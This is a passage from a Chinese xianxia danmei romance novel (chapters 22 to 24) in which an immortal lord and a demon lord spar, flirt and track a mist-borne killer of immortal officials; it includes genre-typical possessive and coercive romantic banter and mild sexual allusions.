“我没有在仙宫里见过你,你这身战袍也不是普通仙官能穿的。”墨夙离抽出手,话音落下的时候,已经拉开了距离,“或许我该称呼你一声——折月仙尊?” 第22章 第 22 章 除了刚刚提到的疑点, 还有天帝和仙官们不合常理的视而不见,闻折月对折月仙境和魔界黑市的事如数家珍,以及他对折月仙尊的称赞与维护。 当然这些都只是引起了墨夙离的怀疑, 真正使他确定猜测的是丹田内无缘无故的刺痛。 迄今为止, 他的丹田一共产生过四次异样,分别是在魔宫和折月仙尊斗法的时候, 乘坐轿辇被傻子龙冲撞的时候,在上下界通道被救的时候,以及被抓着手腕质问的时候。 前两次是因为同一个人。 于是墨夙离做了一个大胆的猜测。 “天帝说折月仙尊有要事在身, 所谓的要事就是装成闲杂人等戏弄本尊吗?”墨夙离拂了拂衣袖, 抬眼间锋芒毕露,“仙界的待客之道真叫本尊长了见识。” 仙魔会谈的第一天,折月仙尊和魔尊没有打起来, 仙尊隐藏身份戏弄魔尊, 被发现后,魔尊怒而离席,两族不欢而散。 情况超出所有人的预料, 仙界下注押两人谁能赢的赌桌上没有赢家。 天帝将闻折月叫到了议事殿中:“你不是要潜伏在他身边,怎么这么快就被发现了?” 闻折月也很无奈,虽说他的确没有尽力隐藏身份,但墨夙离的敏锐程度远远超出他的想象:“这事怪我,稍微一打扮就光彩夺目, 换了张平平无奇的脸都没用。” “……” 虽然不太要脸, 但闻折月竟然往自己身上揽责任,天帝稀奇地“咦”了声:“你跟我说句实话, 你是不是对墨夙离见色起意了?” 他从来没见闻折月对谁那么热络。 “不是,我和他的事情很复杂, 三言两语说不清楚,反正不是见色起意那么肤浅。” 他和墨夙离之间有一段人间岁月,他动了心,从墨夙离在下界的言行举止来看,大抵也动了情。 本是一桩好姻缘,结果墨夙离跑了,现在他也不知道该怎么收场,就这样揭过去,他心里不舒坦,要继续纠缠下去的话,他还没想好怎么做。 天帝不为所动:“那你就慢慢说,我有的是时间听你讲。” 闻折月:“……” 且不说成亲第二天就被抛弃这事丢不丢人,天帝算他的长辈,在长辈面前讲述失败的感情经历,他拉不下这张帅脸。 闻折月憋了半天,只憋出一句话:“他就是害我没度过情劫的人。” “原来如此,这有什么不方便说的,不就是情……”天帝噎住,瞪大了眼睛,“他就是那个和你拜堂成亲,拿了你的元阳,又一走了之的娘子?!” “……” 别说了别说了,泪流满面了。 闻折月沧桑望天,他修的不是无情道,失去元阳不会影响修为,不过他的元阳到底不是凡俗之物,其中蕴含着精纯修为,对妖族而言大补,甚至能帮助小妖怪突破境界。 可墨夙离是魔族,仙魔有别,拿他的元阳应该没什么用。 其实他在意的也不是元阳,而是元阳所代表的含义——初次。 墨夙离是他第一个心动的人,第一个亲吻的人,第一个水乳交融的人……太多的第一次构成了无法忘却的情劫,也在闻折月心里打了一个结。 这个结不解开,他就放不下。 天帝和他猜得一样大受打击,表情一言难尽,闻折月被逗乐了,没忍住笑出了声:“我也没想到会是他。” 你说好好的一个魔尊没事往下界跑干嘛,还男扮女装拉着凡人成亲,难不成跟他爹爹一样是故意的,想趁机引起他的注意吗? 不太像。 墨夙离压根就不知道闻折月是他,还为他的“死”伤感了好一会儿。 天帝欲言又止,这他娘的叫什么事,难道闻家人渡劫爱上魔尊也会遗传,打不破的魔咒? “那你这情劫还要渡吗?” 他问得委婉,闻折月的回答却一点都不委婉:“我看见他就想亲想抱,大概是龙性本淫,不渡的话,迟早憋坏了。” “……” 去你奶奶个腿的龙性本淫,你就是馋人家身子! 怪不得换上了这身战袍,合着是真打算开屏求偶,天帝指着他就是一顿骂骂咧咧的关心,闻折月左耳朵进右耳朵出,听到最后烦了索性一溜烟跑了,他没回自个儿的仙宫,直接朝着魔族居住的地方飞去。 仙魔有别,给魔族安排的仙宫位置偏僻,独居一隅,方圆百里见不着一座宫殿。 别人觉得偏僻,墨夙离倒挺喜欢的,这里安静,适合休息。 不过今晚不能好好休息,他有件事要做。 魔族侍卫都被挥退了,墨夙离不喜欢有人守着,偌大的仙宫里静谧无声,火盆里的东西静静地燃烧着,跳动的火光映得墨夙离眉眼昳丽。 会谈一结束天帝就让人送了衣服过来,还按照魔族的喜好准备了红黑色,贴心得让墨夙离想骂人。 十几套衣服里就一件颜色不同,样式简单低调,光秃秃的一片白,像是拿来凑数的,墨夙离就穿着这件坐在火盆前。 闻折月甫一落地,就被漫天飞舞的灰烬扑了一脸:“魔尊大人好雅兴,大半夜玩火,小心尿床。” 墨夙离:“……” 墨夙离冷嗖嗖地瞥了他一眼,抓起一把纸钱扔进盆里。 看清火盆里烧的是纸钱后,闻折月的眉头狠狠一跳,再一看墨夙离的打扮,眉头又是一跳:“你烧这玩意儿干什么?” 正等着你问呢。 墨夙离勾了勾唇角,一身缟素,手里一把纸钱,倒真有几分出丧的样子:“给我的亡妻烧点钱,他死得早,但我特别爱他,怕他在下边没钱花。” 说着他还装模作样地抽泣了两声:“娘子,我好想你啊!” 他哭起来像模像样的,没有修炼以前,为了讨生活,墨夙离在魔族黑市上干过不少行当,其中之一就是哭丧,他做什么都不服输,就连哭丧都要争第一。 此时闻折月才注意到,除了火盆和纸钱,仙宫内外还系上了白绸子,风一吹就纷纷扬扬地飘,夜里光线昏淡,除了那烧纸钱的一点火外没有其他照明,乍一看还真让人后背发凉。 好恐怖,好阴森,好……好美的小寡夫! 要想俏一身孝,比起妖艳的红色,墨夙离穿白色更好看,眼一垂,淌下两滴鳄鱼眼泪,好一个楚楚可怜的俏寡夫。 被风吹起的灰烬漂浮在半空中,墨夙离举起一张纸钱:“仙尊瞧一瞧,这种纸钱可好看,我那短命鬼娘子会喜欢吗?” 闻折月表情微妙:“你真的爱你那短命鬼娘子吗?” “当然,除了他我谁也不爱。”墨夙离仰头看来,意有所指道,“所以我不会再接受任何人的感情。” 在封印初见时,这位仙尊看他的眼神里暗含鄙夷,他本来想将计就计看看这人想做什么,故意给了他抱大腿的台阶。 是要潜伏在他身边打听消息?还是要趁机刺杀他? 墨夙离做梦都没想到事情会朝着他意想不到的方向发展,这人竟然对他动手动脚,常常露出那种疼惜又委屈的眼神,明摆着是看上他了。 能用他在人间的经历来试探他,八成早有预谋,所以他特地安排了今晚这出寡夫哭坟,就是为了让对方知难而退。 “我怎么觉得你没那么爱他,或许连喜欢都称不上。”闻折月毫不忌讳地在火盆前坐下,捡起一张纸钱,“不然你为什么把他一个人丢在下界,又怎么会坦然接受了他的死。” “不接受又怎样,难不成要去刨了他的坟吗?” 他倒是想,可惜不知道闻折月埋在哪里,打听了一圈也没打听到。 闻折月勾了下唇角,似笑非笑:“如果是我的话,就算是死了也得把他的魂魄找出来,生生世世留在身边,叫他再不离开我半步。” 墨夙离后背一悚,他的直觉果然没错,折月仙尊就是个变态,绝不能和他扯上关系:“我爱他,才舍不得囚禁他,只要我一直记得他就行了。” “一直记得?”闻折月的语气很轻,“你真的会一直记得他,不会再爱上别人了吗?” 好耶,哭坟大计起作用了! “当然。” 墨夙离装出一副深情款款的模样,捧着心泫然欲泣:“他是我唯一的娘子,我们拜过堂的,在天地面前许了誓言,一辈子不离不弃,如今他死了,我自然要终生为他守寡。” 他都说到这份上了,但凡这傻子龙要点脸就不会再缠着他。 “好,我记下了。” 闻折月笑意沉沉,本想用易容术隐瞒身份,结果身份没瞒住,却获得了一个意外之喜:“魔尊大人可千万要说话算数,你要是食言,本尊一定不会放过你的。” 是墨夙离先说爱他的,不管真假,他都信了。 既然他的娘子对有他如此的深情厚谊,那这万劫不复的情劫,他跳下去又何妨,左右生死不弃,他都会拉着墨夙离。 闻折月做出了决定,豁然开朗,看着墨夙离的眼神越发露骨,丝毫不加掩饰。 墨夙离几不可查地皱了下眉头:“夜深了,仙尊还不回去休息吗?” 怎么回事,他怎么感觉这人听完那番情真意切的表白后更喜欢他了? “不回去。” “……” 墨夙离面无表情,恨不得把纸钱扬到他脸上:“孤男寡男共处一室,传出去对仙尊的名声不好,况且仙尊在这里也会影响我悼念亡妻。” 所以你快点滚。 闻折月读出了他的弦外之音,心道你挚爱的亡妻就在你眼前呢,不过是换了个身份,你就认不出来了。 口是心非。 “我不在乎名声。”闻折月握住他的手,带着他将纸钱扔进了火盆中,吊儿郎当地笑,“你哭你的坟,我看我的俏寡夫,你我两不干涉。” 墨夙离瞠目结舌,这是人能说出来的话吗??? “仙尊大人是不是没听懂我的意思,我不会再喜欢任、何、人。” 尤其是你。 “我也没要你喜欢我,你喜欢你的亡妻就够了。”闻折月冲他眨了下眼,一脸笑眯眯的表情,“本尊就喜欢强取豪夺心里有人的俏寡夫,看着他心里惦记着别人,却不得不待在本尊身边,可爽快了。” “……” 啊啊啊变态!你不要脸! 墨夙离的表情变了又变,脸上跟打翻了调色盘似的,好不精彩:“仙尊有什么癖好与我无关,我不是你能强取豪夺的对象,你我之前有过不愉快,从此一笔勾销,我不会再追究,还请仙尊自重。” 还挺能忍的。 闻折月做足了浪荡子的模样,故意伸手去摸他的脸:“可我不想与魔尊大人一笔勾销,这要怎么办?” 简直欺人太甚! 墨夙离一把拍开他的手,直接将火盆掀翻,火星子和灰烬噼里啪啦的炸开,朝着闻折月扑过去,但还没落到他身上,就被一层浑厚的金色灵力反弹开。 闻折月仍然噙着笑:“你的境界不如我,若是我偏要强娶了你,魔尊大人又待如何?” 他是个十足十的坏胚子,恶趣味地逗弄心上人,换身份哄骗墨夙离说爱他还不够,非得把人逼到退无可退的地步。 墨夙离的手一下子攥紧了,柔软的布料却抵不过丹田内传来的痛意。 又开始疼了。 每次遇到闻折月,每次感觉到闻折月的力量,他的丹田都会疼起来。 “那我就打到你不敢再口出狂言!” 墨夙离出离愤怒,一掌轰碎了半座仙宫,尘瓦飞扬,流云四散,魔尊大人站在仙宫的废墟上,气势汹汹地放狠话:“既然你敬酒不吃吃罚酒,那今日不是你死就是我活!” 见他动了真格,闻折月也收敛了笑意:“你们魔族是不是都喜怒无常?” 刚才还好好说着话,现在就喊打喊杀了,翻脸忒快。 他只知道抱怨人家说翻脸就翻脸,丝毫没有反省自己说了多少过分的混账话,双标得可以。 “别忘了你身上也流着魔族的血!” 当初隔着无妄海斗过法,墨夙离的实力不容小觑,闻折月不敢托大,抬手召来逐日枪,他仍穿着那身战袍,脚踏祥云气势非凡。 这就是仙界赫赫有名的小战神。 墨夙离心里燃起了战意,之前单枪匹马就敢杀入魔宫,单挑魔尊与若干魔族的人,怎会怯战,他迎风而立,丝毫不见惧色。 闻折月心中一动,不愧是他看中的人。 在动手之前,墨夙离在周身裹了一层魔力,密不透风地隔绝了外来力量的刺激。 他记下丹田中的花苞状态,随手扯了一段白绸子当武器。 墨夙离还没有打造属于自己的本命武器,他常常就地取材,在魔宫的时候用海水,到了下界用羽衣,总之手边有什么就用什么,一根白绸子也能玩出花来。 用魔力重塑过的白绸如同一柄玉剑,径直刺了过来,闻折月侧身躲开,反手握着长/枪回刺。 上次纯粹是拼修为,这次则带着一丝发泄意味,真刀真枪毫不留情,两人打得如火如荼,若不是此地偏僻,早就招来了无数人。 “魔尊大人就这点本事吗?” 逐日枪势如破竹,将白绸劈成了两半。 闻折月侧身而立,望着不远处的人:“只是这样可不够。” 他想他还是有点恨墨夙离的,恨他一走了之,恨他不告而别,恨他一边说着爱他,一边又抛下他……爱意无法抹消,恨意也没办法一下子清除,他心底藏着无数委屈,维持的从容裂开了一道缝隙,强悍的灵力呼啸而出。 如果他不是下凡渡劫,如果他只是个凡人,是不是就再也见不到墨夙离了? 闻折月不敢去想这种可能,他一枪横扫过去,灵力震荡,四周尘埃飞扬。银光闪烁之间,墨夙离身形一顿,逐日枪结结实实地落在他的侧腰上,直接将他挑飞到了半空中。 以墨夙离的境界,不该躲不开这一枪。 闻折月心里一紧,连忙飞身接住了从半空中落下来的墨夙离,魔尊大人捂着肚子,神色痛苦,一点都看不出方才的恣意。 打斗过程中,魔力屏障被打破了,果不其然,一接触到闻折月的灵力,他的丹田就开始痛了,逐渐力不从心,连简单的一招半式都接不住。 丹田里的那朵花肉眼可见地长大了,原本是拳头大小,如今几乎挤满了整个丹田洞府,如果他是女子,都要怀疑自己是不是怀孕……怀孕?! 墨夙离瞳孔紧缩。 不可能,绝对不可能,他是个男人,男人怎么可能怀孕……墨夙离捂着肚子,心思百转千回,表情从震惊变到恐惧,逐渐扭曲。 闻折月皱眉,视线也落到了他的肚子上。 开打之前墨夙离就一直捂着这里,难道是受了伤? 闻折月伸出手,闻折月按住他的肚子,闻折月瞪大眼睛:“你,你这是……” 四目相对,墨夙离脑瓜子嗡嗡作响,他一脚踹开闻折月,连滚带爬就要跑,结果刚跑出没多被摁住,闻折月贴着他的后背,高大的身影从后面压下来,将墨夙离整个笼罩在怀里。 “放开我!” 闻折月一言不发,将他整个抱进怀里,强行拿开他捂在肚子上的手。 “你干什么?!快放开我!”墨夙离疯狂挣扎,眼底满是惊恐。 闻折月收紧了怀抱,像是要将他整个嵌进身体里,表情凝重,但耳根悄悄泄露出了一丝红意:“我感觉到了,这里……” 宽大的掌心贴在墨夙离的腹部上,隔着薄薄的衣服,他感受到了骤然绷紧的肌肉,墨夙离一紧张就会浑身绷紧,洞房的时候他进得深了,就会被咬得死死的。 现在他按在这里,感觉到了熟悉的力量从墨夙离身体中传来。 ——是他的元阳。 第23章 第 23 章 既然无法吸收, 早就该弄出去了,可墨夙离一直将他的元阳留在身体里面。 闻折月的表情变了又变,从震惊到疑惑, 最后诡异的定格在害羞上。 墨夙离舍不得他。 闻折月的眼神深了几分, 说不出的得意和欣喜在胸膛里发酵,酝酿出一声骄矜的笑声。那点恨意都被抚平了, 只剩下满心的欢喜。 掌心下一片平坦,闻折月想起洞房的时候,墨夙离的肚子被灌得鼓起了一点, 手贴上去能够感觉到柔软的弧度, 那时的墨夙离浑身上下都浸透了他的气息。 龙性本淫,他对天帝随口胡诌的借口好像应验了,他想和墨夙离做快乐的事, 想像上次一样把这里喂得饱饱的。 想得心头火起, 想得口干舌燥。 “墨夙离,我知道你的心意了。” 墨夙离:“?” 他知道我想弄死他? 关于闻折月的元阳,其实墨夙离压根没有注意过, 他睡醒后那些玩意儿就被身体吸收了,除了腰疼没有其他感觉。 因而魔尊大人早就忘了这茬。 看傻子龙的反应,似乎没有发现他丹田里的端倪,墨夙离暗暗松了口气。 “这里住不了了,我带你去其他地方休息。”闻折月一个用力, 直接将墨夙离抱了起来。 上一秒还在打架, 下一秒就到人家怀里去了,这可还行? 魔尊大人急吼吼地要跳出他的怀抱, 可腰间的手箍得死紧,任他怎么扑腾都挣脱不来:“你放我下来!” “又不是没抱过, 你脸红什么?”闻折月掂了两下,调侃道,“魔尊大人该不会害羞了吧?” 墨夙离:“……” 害羞个鬼,我那是被气的。 闻折月想了很久,就算墨夙离是魔尊,他也不想放手。 他的诞生为天地间所不容,他是父辈爱情的象征,本就是奇迹的化身,又何惧万劫不复,他相信他可以和墨夙离创造新的奇迹。 闻折月低下头,仙宫的云雾簇拥着星辰,在他身后构建出奇谲瑰丽的背景,却不及他眸中的半分情意。 墨夙离心里一惊,突然想起在妖市的时候,闻折月举着伞朝他看来,言笑晏晏。 他说希望姑娘能记我长久,然后他就一直没能忘记人间的书生郎,还生出了不该有的独占欲。 在刚刚的一瞬间,抱着他的人好似与记忆中的书生重合了,明明是两张截然不同的脸,眼底却是同样炽热的感情。 ……墨夙离,你清醒一点! 他是傻子龙不是闻折月,是折月仙尊不是手无缚鸡之力的普通人,他长得丑啊!! 墨夙离摇了摇头,试图把无厘头的想法甩出脑海,奇了怪了,他怎么会把傻子龙和闻折月联系到一起。 “方才那一战,你输了。” 墨夙离默默翻了个白眼,只当没听见。 他知道打不过,刚才只是想试试这傻子龙是不是真的克他,结果和他猜得一样,傻子龙不仅克他,灵力还会刺激到他丹田里的花。 “我厉害吗?” 墨夙离不想搭理他,闻折月不依不饶,拍了拍他的腰:“我厉不厉害?” 嘶—— 墨夙离倒吸一口凉气,刚才逐日枪就打在他腰上:“厉害厉害,你厉害死了。” 咬牙切齿的,不像夸奖,像骂人。 闻折月忽然想起他腰上的伤,心揪了一下:“抱歉,我下手太重了。” “我就是好奇你那逐日枪,所以故意接了一枪试试感觉。”墨夙离一脸不服输的表情,“哼,胜负还没分出来呢,等日后得了空,我们再战。” 等他解决了丹田的问题,定杀得傻子龙哭爹喊娘! 墨夙离信心满满。 闻折月挑了挑眉:“就不怕我收不住手,一枪把你捅死?” 墨夙离笑容逐渐消失:“我感觉你应该没那么厉害。” 话虽这么说,闻折月还是感觉到他的身体变得僵硬起来,不禁失笑:“确实没那么厉害,我前段时间渡劫失败了,若是之前,确实能一枪捅死你。” 现在舍不得了。 墨夙离有些惊讶,不敢相信他就这么把渡劫失败的事告诉他了,这可是关乎性命的秘密:“你打起人来凶得很,可不像渡劫失败修为受损的样子。” “渡劫失败,货真价实。” 不等墨夙离反应,闻折月又欠嗖嗖地来了一句:“但这样的我还是比你厉害一点。” 墨夙离:“……” “你这是什么眼神,我可是救了你的恩人。” 提起这茬墨夙离就来气,要不是你插手,我早就解决那黑雾了,还用得着你救。 他捏着鼻子,试图讲道理:“恩人,通情达理的大恩人,救人救到底,不如你换个人喜欢吧,你喜欢什么样的寡夫,我都可以帮你找。” “不能,我就喜欢你这样的俏寡夫。”闻折月平静道,“我觉得我们在床上会很合拍,不在一起可惜了。” “你的脑子里只装了床上吗?” “龙性本淫,怪我咯。”闻折月理直气壮,将所有锅都推到了血脉上,“我也没办法,天生的,以后还请魔尊大人多担待了。” “仙魔有别,咱们不合适。” “你也说了,我身上流着一半魔族的血,一半的我觉得我们很合适,另一半我认为不合适的地方也可以磨合,迟早有一天会合适。” 墨夙离错愕:“还能这样?” “我说能就能,况且仙魔有别的话,我为什么会降生于世间?” 闻折月一直觉得奇怪,从小他就知道两个爹爹深爱彼此,在他眼里,是仙是魔都不重要。 但随着他长大,听到的声音越来越多,仙魔有别似乎是仙族与魔族的共识,几乎每个人都认为两族不可能在一起,至于为什么,他们又说不出个所以然。 就像是约定俗成的规矩。 闻折月曾经问过天帝,得到了一声长长的叹息,从天帝的反应中可以看出这个规矩的背后发生过一些事,一定极为惨烈,才会让仙魔两族都讳莫如深。 墨夙离低着头,垂落的眼睫轻颤不停,像一只折翼的蝶,高贵又脆弱。情期过去后,不是天帝大驾光临,就是闻折月三番两次来折腾他,他一直没能好好睡个觉。 打了一架又累又乏,闻折月抱着他不撒手,墨夙离不是个较劲的人,打也打不过,跑也跑不掉,索性随这傻子龙去吧,反正累的人不是他。 墨夙离逐渐安静下来,闻折月低头一看,好家伙,魔尊大人的小呼噜都快打起来了。 年轻真好,倒头就睡。 墨夙离年纪不大,起码没他大,闻折月在心里算了一下,他俩差了大概有几百岁,墨夙离横空出世的时候他正好过了人嫌狗厌的时候,开始闭门不出。 好不容易渡个劫,他们就遇上了,谁敢说不是天生一对。 闻折月脚下生风,抱着墨夙离回了自个儿的仙宫。 墨夙离没躲开那一枪,闻折月担心他的伤势,将人放下后,轻手轻脚地拉开了他的衣服。侧腰上撞出了一大片淤青,在白皙的皮肉上格外明显,青里透紫,像是受了凌/虐。 闻折月看得心惊肉跳,他下手有这么狠吗? 几百年没放开手脚打架了,以前就算打了受伤的也不是他,再往前闻逍更是打遍天界无敌手,因而折月仙境自从建了仙宫后就没有准备过伤药。 疾风卷过流云,从仙宫呼啸而过,白龙一瞬间游远。 熟睡的墨夙离一下子睁开眼睛,眸光清明,丝毫不见困倦。 他扯了扯衣服,将触目惊心的淤伤盖住,下了床拔腿就跑,速度之快,仿佛身后有恶狗在追,下一秒狗就要咬上他的屁股了。 离开折月仙境的范围后,墨夙离才停下来,拍着胸口喘了几口气。 吓死他了,闻折月拉他衣服的时候他差点没装下去,还以为这满脑子不正经的淫龙要趁他睡,断他腰。 没有趁人之危,还算这傻子龙正直。 墨夙离不知道往哪里跑,不能回魔界,知道他跑了后闻折月肯定会去魔宫里找,留在仙界就更不必说了,分分钟就被傻子龙逮住。 整个上界都不安全,在丹田里那遭瘟的花没弄掉之前,他得躲着傻子龙。 不知不觉来到了上下界的通道附近。 封印被重新加固了,繁复的咒文一层叠着一层,密密麻麻看得人眼晕。 被杀害的仙官死状凄惨,整个上界风声鹤唳,天帝有意在会谈期间解决这件事,将上界严防死守起来捉拿凶手。 逃到下界确实更安全,墨夙离蹲下身,强行打开封印的可能性不大,上次闻折月暗中出手才帮他撕开了封印一角,他自己够呛能破了封印。 余光中有黑影闪过,墨夙离目光一凛,立马收敛情绪,足尖点地,瞬间拉开距离。 不是黑影,是一片黑色的雾气。 墨夙离心下一惊,这不就是他之前遇到的黑雾吗?! 仔细一看,黑雾的源头竟然来自于封印,咒文还闪着金光,但却阻挡不了黑雾的渗透,雾气像一滩腥臭发烂的污血,源源不断的流向上界,附近的云层都被染黑了,一片污糟。 衣摆上沾了一点,洁白的布料顿时变黑,墨夙离眼皮一跳,当机立断撕下那片被污染的衣角。 事赶事,他差点忘了这倒霉玩意儿,要不是这黑雾,他也不会莫名其妙欠了一次救命之恩,还被傻子龙看上了,大半夜有觉不能睡,四处躲藏。 墨夙离的火气蹭蹭蹭往上冒,看黑雾跟杀父仇人一样,恨不得将其碎尸万段:“何方宵小,胆敢在本尊面前放肆,找死!” 这次没有闻折月影响他发挥,墨夙离摩拳擦掌,强大的魔力一轰一个准,打得震天响,黑雾被他轰得四散开来,其中一缕朝着远处飞去,墨夙离看了眼它逃窜的方向,安排给魔界中人住的仙宫就在那边。 难道这黑雾就是杀害仙官的凶手? 墨夙离刚想追上去,丹田就开始隐隐作痛,熟悉的疼痛让他忍不住低骂出声,感应能不能别这么灵敏,傻子龙人还没到他面前呢。 这个念头刚冒出来,冷着脸的折月仙尊就出现在眼前,眼神阴沉,活像抓到了娘子红杏出墙。 “你听我解释。”墨夙离绞尽脑汁想借口。 闻折月冷嗤一声,冷酷无情道:“我不听。” “……” 行叭,不用浪费脑子了。 墨夙离一副死猪不怕开水烫的模样,闻折月不说话,他也不开口,两人大眼瞪小眼,瞪了没一会儿,闻折月冲着他的腰伸出手。 “你想做什么?”魔尊大人眼睛瞪得溜圆,好好的一双偏狭长桃花眼硬是睁大了一倍,“这可不是在仙宫里。” “你的脑子整天都在想什么?” 闻折月看傻子一样看着他,他不过是去找住在附近的仙官拿了个伤药,墨夙离就跑没影了:“给你上药。” 他拿出伤药,作势要掀墨夙离的衣服。 “刚刚有没有伤到哪里?” 提到这茬,墨夙离顿时有了底气,捂着衣服不让他掀:“等等,我好像知道杀害仙官的凶手是谁了,他往那边去了,我们赶紧过去,晚了他就跑了。” “跑不了。” 闻折月一把掀起了他的衣服,一边上药,一边漫不经心地问道:“你想好用什么来贿赂我了吗?” “嗯?” 电光石火之间,墨夙离脑海中闪过一段对话。 ——“还有其他的发现吗?” ——“魔尊大人是在贿赂我吗?” ——“只是牵一下手,可不够报酬。” 墨夙离震惊:“难道你早就知道凶手是谁?!” 闻折月睨了他一眼,瞥见他眼里微小的敬佩后,心中暗爽,他慢条斯理地给墨夙离涂完药,把人吊得急不可耐了,终于清了清嗓子:“还记得那具被误杀的魔族尸体吗,比其他尸体缺少一条左臂。” 墨夙离点点头,他能猜到问题出在缺少的左臂上,但想不通到底是怎么回事。 “魔族共有十位将领,分别驻守魔界的不同区域,我记得小时候和爹爹们去魔界,每每都会见到一位魔族大将,他喜爱仙界服饰,不止在黑市上高价收购,还经常曾跑到魔宫求取。” 墨夙离不明所以:“总不能就凭这点说尸体是魔族十位大将之一吧?” 白椿织成的衣服能汇聚灵气,但魔族依靠魔气修炼,白椿对他们无用,一般情况下,高价收购仙族服饰大多是出于猎奇心理。 闻折月帮墨夙离整理好衣服,勾着腰将人拉近,随口道:“那位将领惹得我爹爹不快,爹爹就让他陪我练练手。” 墨夙离推拒的动作一顿,抬起头,闻折月的表情意味深长:“他的左臂是我砍的,那时我还没有本命武器,用的是爹爹的武器,留下的伤口无法修复。” 他微微一笑:“那具尸体,我一眼就认出了是他。” 墨夙离恍然大悟:“那你为什么当时不说出他的身份?” “魔尊大人对魔界的事情了解不多啊,连魔族将领千百年未换过人的事都不知道。”闻折月啧了声,不厌其烦地引导他寻找答案,“你仔细想一想,此次来仙魔会谈的魔族大将共有几位。” “这种会谈连我都躲不过,当然是十个都……十个?!” 已知有一位魔族大将死了,已知来的是十位魔族大将,所以……答案呼之欲出。 “魔尊大人欠我一个报酬。” 墨夙离心不甘情不愿:“这凶手杀了你们仙界十几位仙官,你身为仙尊,抓住他不是应该的吗?” “是应该的,我也正准备去抓他。”闻折月垂眸,盯着被他圈在怀里的人,果然还是这样才能安心,“你欠的是我给你解惑的报酬,难道魔尊大人想赖账吗?” 墨夙离满脸都写着“想赖账”三个字。 闻折月托着腰将他抱紧了些,指腹若有似无地勾着刚刚系好的腰带:“墨夙离,我的脾气不算很好,不想缺胳膊少腿的话,你最好乖一点。” 想扒掉这身碍眼的衣服,想把他整个吞进肚子里,身为龙族的强势占有欲令他时时刻刻都想抱着墨夙离,想侵占这个人的每一寸。 之前还有所顾忌,在发现墨夙离偷偷藏着他的元阳后,闻折月就完全不想克制了。 “我要是不和你在一起,你会砍我的胳膊吗?” 合着闻折月讲那魔族大将的旧事是在点他呢,可恶啊,心机龙竟然比他这个魔尊还会强取豪夺。 “我们龙族都很护内的,谁也不能伤害我的伴侣,包括我自己。”闻折月的目光落在他的胳膊上,“你是我的伴侣吗?” 墨夙离:“……” 这是威胁,赤/裸裸的威胁! 魔尊大人一脸严肃:“结过契才算是伴侣。” 识时务者为俊杰,不是他怂,他只是从小就有一个当俊杰的梦想。 “好,等仙魔会谈结束,我就禀明天帝,让他准备结契大典。” “……你认真的?你就不在意我心里有其他人?” 闻折月表情微妙:“不在意。” 反正你惦记的“亡妻”也是我。 他刚才提起渡劫一事,本来是想顺理成章的表明身份,结果被墨夙离带跑偏了。 现在再开口,时机不对。 闻折月绝不会承认,看墨夙离一边说着爱他,一边拿他当借口拒绝他,让他的恶趣味得到了极大的满足。 “我觉得你应该在意。”墨夙离暗戳戳道,“我心里有一个人,一辈子都忘不了他,和你在一起的时候我会偷偷想着他,你不觉得自己头顶有点绿吗?” “本来想放过你的,但既然你这么说了,那我就在意一下。” 闻折月微微一笑:“你偷偷逃跑的账,我们算一下吧。” 第24章 第 24 章 欠账的魔尊大人非常老实, 也不挣扎了,乖乖待在他怀里,闻折月心满意足, 他早该想到的, 墨夙离就是个吃软不吃硬的主儿。 “你为什么不一开始就抓住那个假的魔族大将?”墨夙离想不通,以闻折月的能力当场抓住凶手不在话下。 “你看到那些尸体的第一反应是什么?” 第一次看到从无妄海中打捞上来的尸体, 墨夙离眉头皱得能夹死苍蝇,他自问见过的死人不计其数,但说实话, 凶手的手段实在过于残忍。 像是把人当成物件, 榨干净最后一滴利用价值后,还要折磨他们的躯体。 闻折月安抚地捏了捏他的手:“凶手视人命如草芥,杀人只是一种手段, 除了挑起仙魔大战外, 我觉得他还有其他目的。” “你放那个假魔族离开,是想看看他要做什么?” “嗯。” 结果出乎他的意料,凶手的目标竟然不是仙界中人。 闻折月眼底闪过一丝隐忧, 长臂一展,又把墨夙离拉进了怀里:“你怎么会和凶手打起来,是他主动找上你的吗?” 说话就好好说话,搂搂抱抱成何体统。 墨夙离默默腹诽,出于对胳膊腿儿的保护, 忍了他的龙爪子:“还记得在封印后遇到的黑雾吗, 我和那玩意儿打了一架。” “黑雾?”闻折月略有惊讶。 墨夙离瞬间得意起来,腰杆挺直, 看傻子龙卖关子看了半天,可算轮到他了:“我怀疑黑雾是凶手的一部分, 或者说黑雾是行凶的工具,凶手隐藏在上下界的通道中伺机而动,趁仙官下界的时候掳走了他们。” 他差点被黑雾吞噬过,清楚那种感觉,就像是被无数只手拉拽着,无法挣扎,只能眼睁睁看着自己坠入深渊。 “那黑雾中有古怪。” 在拉开距离后,可以看出黑雾的力量并不算太强,就算能杀了仙官,也不一定能杀掉魔族大将,所以凶手一定有什么特殊的杀人法子。 墨夙离看着被扯坏的衣角,当初黑雾并没有腐蚀他的衣服,难道仙族的服饰对黑雾来说是特别的吗? 听他说完,闻折月不禁后怕起来,如果上次他没有及时赶到,岂不是再也见不到墨夙离了:“等会儿到了你乖乖等着,我去抓他。” 他不说墨夙离也不打算动手,丹田的疼就够他受了,哪里有闲心管凶手。 只不过闻折月这么说了,墨夙离的反骨又蠢蠢欲动起来:“那我要是不乖呢?” 比如趁你忙着对付凶手的时候偷偷跑掉。 闻折月深深地看了他一眼,意味深长道:“折月仙境风光无限,是三界之中最神秘的天地,足够你用一生去探索。” 墨夙离没反应过来,不是在说他乖不乖嘛,怎么扯到折月仙境了,傻子龙是在炫耀他的家底雄厚吗? 家底同样很殷实的魔尊大人哪里能忍:“我的魔宫也不错,很大,很安静。” 除了时常来通报的魔族侍卫,魔宫里没有一丁点噪音,非常适合睡大觉。 闻折月轻飘飘的一眼里带着说不出的宠溺:“你可真是个傻子。” 傻人有傻福。 墨夙离:“???” 被傻子龙骂傻子,那他岂不是比傻子还傻子。 墨夙离一脸不高兴,在心里将闻折月骂了好几遍,骂着骂着,他突然发现不太对劲……等等,闻折月刚刚是不是在威胁他? 这傻子龙是不是想把他囚禁在折月仙境里一辈子?? 后知后觉反应过来的墨夙离倒吸一口凉气,一边觉得闻折月变态,一边觉得自己真是个傻子,人家都准备强取豪夺了,他还心怀侥幸。 到了魔族大将居住的地方,闻折月不放心墨夙离一个人在外面,索性召来逐日枪画了个圈:“不许离开这里,不然小心你的腿。” 浑厚的灵力在四周构建出坚不可摧的屏障,将墨夙离严密地保护起来。 闻折月掂了掂逐日枪,犹豫着要不要把它留在这里,逐日枪打造的时候融合了他的一缕神魂,能够与他相互感应,万一临时出点状况,也能护墨夙离周全。 “仙尊大人,你是把我当成废人了吗?”墨夙离指指自己,“我,很厉害,刚刚一个人就把和凶手一伙的黑雾打得落花流水。” 